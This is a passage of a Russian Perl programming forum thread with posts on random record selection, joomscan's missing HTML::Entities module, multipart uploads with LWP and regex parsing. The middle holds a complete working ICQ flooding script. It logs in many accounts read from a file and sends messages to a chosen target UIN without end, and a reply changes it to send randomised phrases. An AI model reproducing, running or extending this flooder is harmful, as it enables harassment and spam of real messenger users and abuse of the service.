Есть файл вида name1 /**/ name2+ some text there /**/ name3 + some text there /**/ name4 + some text there ....... Каким образом можно считывать записи разделенные /**/ рандомно?? Мысль такая...Читаем файл...заносим в массив записи до того как встретиться /**/ затем след эл-т массива и т.д. а потом рандом из массива читаем... покажите плиз на пальцах как это примерно выглядит
подскажите по такой ошибке, что не хватает для запуска? Code: # perl joomscan.pl Can't locate HTML/Entities.pm in @INC (@INC contains: /usr/lib/perl5/5.10.0/i486-linux-thread-multi /usr/lib/perl5/5.10.0 /usr/ lib/perl5/site_perl/5.10.0/i486-linux-thread-multi /usr/lib/perl5/site_perl/5.10.0 / usr/lib/perl5/site_perl/5.8.8 /usr/lib/perl5/site_perl /usr/lib/perl5/ vendor_perl/5.10.0/i486-linux-thread-multi /usr/lib/perl5/vendor_perl/5.10.0 / usr/lib/perl5/vendor_perl .) at joomscan.pl line 27. BEGIN failed--compilation aborted at joomscan.pl line 27.
2svesve, как вариант Code: #!/usr/bin/perl use strict; use warnings; BEGIN { $\ = $/ = "\n" } my $text = "name1 /**/ name2+ some text there /**/ name3 + some text there /**/ name4 + some text there ......."; my @str = split /\/\*\*\//, $text; print $str[int rand scalar @str]; 2Rashid Code: perl -MCPAN -e 'install HTML::Entities'
Блок BEGIN {} обрабатывается как можно раньше во время компиляции, даже если его написать в самом конце скрипта. Если пугает, то можно убрать этот блок - функционал почти не изменится )
$\ aka $ORS aka $OUTPUT_RECORD_SEPARATOR - разделитель выходных записей (фактически указатель конца) для print; $/ aka $INPUT_RECORD_SEPARATOR - разделитель входных записей, по умолчанию - символ перевода строки (0x0a), который применяется функциями readline, оператором <FH>, и функцией chomp. Подробнее в кэмел-буке. ЗЫ. Задрало в конце print добавлять \n, особенно когда их много
помогите поменять вот это чудо Code: #!/usr/bin/perl use warnings; use strict; use threads; use threads::shared; use Socket; my $targetUin = ; #кого my $message = ' '; #чем my ($host,$port) = ('login.icq.com', 5190); print "\n$0 (c)oded by C!klodoL-=AzoTkiN=-\n"; my @uins : shared; open(FILE, '<uins.txt'); @uins = <FILE>; close(FILE); chomp(@uins); my $threads = scalar @uins; #количество потоков = количеству асек в файле my @thread; for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 } for(1..$threads) { $thread[$_]->join; } sub flood { my ($uin,$password) = split(/;/,shift(@uins)); my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin. "\x00\x02".int2bytes(length($password)). substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)). "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00". "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A". "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00". "\x0E\x00\x02\x75\x73"; my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC)); socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp')); connect(SOCKET,sockaddr_in($port,inet_aton($host))); my $response; sysread(SOCKET,$response,10); syswrite(SOCKET,$FLAP.$SNAC); sysread(SOCKET,$response,65535); close(SOCKET); if($response=~/MISMATCH_PASSWD/) { return } my ($BOS_Host, $BOS_Port, $Cookie); if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) { $Cookie = parsCookie($response); print "[+] $uin reconnect to: $BOS_Host:$BOS_Port\n" } else { return } $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie; $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC)); socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp')); connect(SOCKET,sockaddr_in($BOS_Port,inet_aton($BOS_Host))); sysread(SOCKET,$response,10); syswrite(SOCKET,$FLAP.$SNAC); sysread(SOCKET,$response,65535); $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02". "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15". "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06". "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A". "\x00\x01\x01\x10\x02\x8A"; $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC)); syswrite(SOCKET,$FLAP.$SNAC); for(;;) { $SNAC = "\x00\x04\x00\x06\x00\x00\x00\x00\x00\x02\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x00\x02". pack('h',length($targetUin)).$targetUin."\x00\x05".int2bytes(length($message)+102). "\x00\x00". "\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00". "\x00\x0A\x00\x02\x00\x01\x00\x0F". "\x00\x00\x27\x11". #хз int2bytes(length($message)+62). #61 + длина текста "\x1B\x00\x08".("\x00"x19). "\x03\x00\x00\x00". "\x00\x02\x00\x0E\x00\x02".("\x00"x13). "\x01\x00\x00\x00\x00". "\x01".pack('v',length("$message\0")).$message."\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00"; $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC)); syswrite(SOCKET,$FLAP.$SNAC); sleep 2+int(rand(3)); print "$uin send message\n" } } sub int2bytes { return pack('n',shift) } #пакуем в 16битное целое sub parsCookie { #парсер куки my $cookie = shift; my $i++; for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" } return substr($cookie,4+$i,256) } BEGIN { #счётчик номера пакета my $seqNum = int(rand(65535)); sub seqNum { $seqNum++; $seqNum = 0 if $seqNum > 65535; return int2bytes($seqNum) } } чтобы оно флудило случайными фразами
Замени в начале my $message = ''; На my @message = ('Text1', 'Text2'); Далее после for(; { Напиши my $message = $message[rand @message]; Например залить картинку на сервер что ли?
Так точно! Залить картинку сформирована переменная $data my $data = "-----------------------------169211662827935\r\n". "Content-Disposition: form-data; name=\"act\"\r\n\r\n". ...... ...... ...... "Content-Disposition: form-data; name=\"file\"; filename=\"logo.jpg\"\r\n". "Content-Type: image/jpeg\r\n\r\n". $file."\r\n". "-----------------------------169211662827935\r\n"; куда присобачить это "Content-Type: multipart/form-data; boundary=169211662827935\n". "Content-Length: ".length($data)."\n\n".$data; ????? и как выглядеть будет $page=$ua->post();
В документации к HTTP::Request::Common есть пример, как прилеплять к посту файл Code: POST 'http://www.perl.org/survey.cgi', 'Content_Type' => 'form-data', 'Content' => [ 'name' => 'Gisle Aas', 'email' => '[email protected]', 'gender' => 'M', 'born' => '1964', 'init' => ["$ENV{HOME}/.profile"], ] ЗЫ. Нашел вот у себя скрипт, меняющий вконтакте аватару (в еастоящее время он нерабочий в связи с изменениями на сайте). Кусок POST-запроса Code: $req = $ua->post ($action, [], 'Host' => $host, 'Referer' => $url . 'profileEdit.php?page=photo', 'Connection' => 'Keep-Alive', 'Content_Type' => 'form-data', 'Content' => [ 'subm' => 1, 'photo' => ['daemon2.jpg'] ] );
Code: #!/usr/bin/perl use strict; use warnings; $\ = "\n"; my $str = <<STR; Array ( [parameter] => testing [key] => Test1 [Referrer] => HIDDEN [Time] => TRUE ) i like bitches0 Array ( [parameter] => neva [key] => megakey [Referrer] => mozilla [Time] => 2007-09 ) i hate morons8 STR while ($str =~ /Array\s*\(\s*\[parameter\]\s*=>\s*(.+)\n\s*\[key\]\s*=>\s*(.+)\n\s*\[Referrer\]\s*=>\s*(.+)\n\s*\[Time\]\s*=>\s*(.+)\n\s*\)\s*(.+?)(\d+)\n|\Z/gm) { my ($parameter, $key, $Referrer, $Time, $first_par, $second_par) = ($1, $2, $3, $4, $5, $6); last unless defined $key; print join ', ' => $parameter, $key, $Referrer, $Time, $first_par, $second_par; }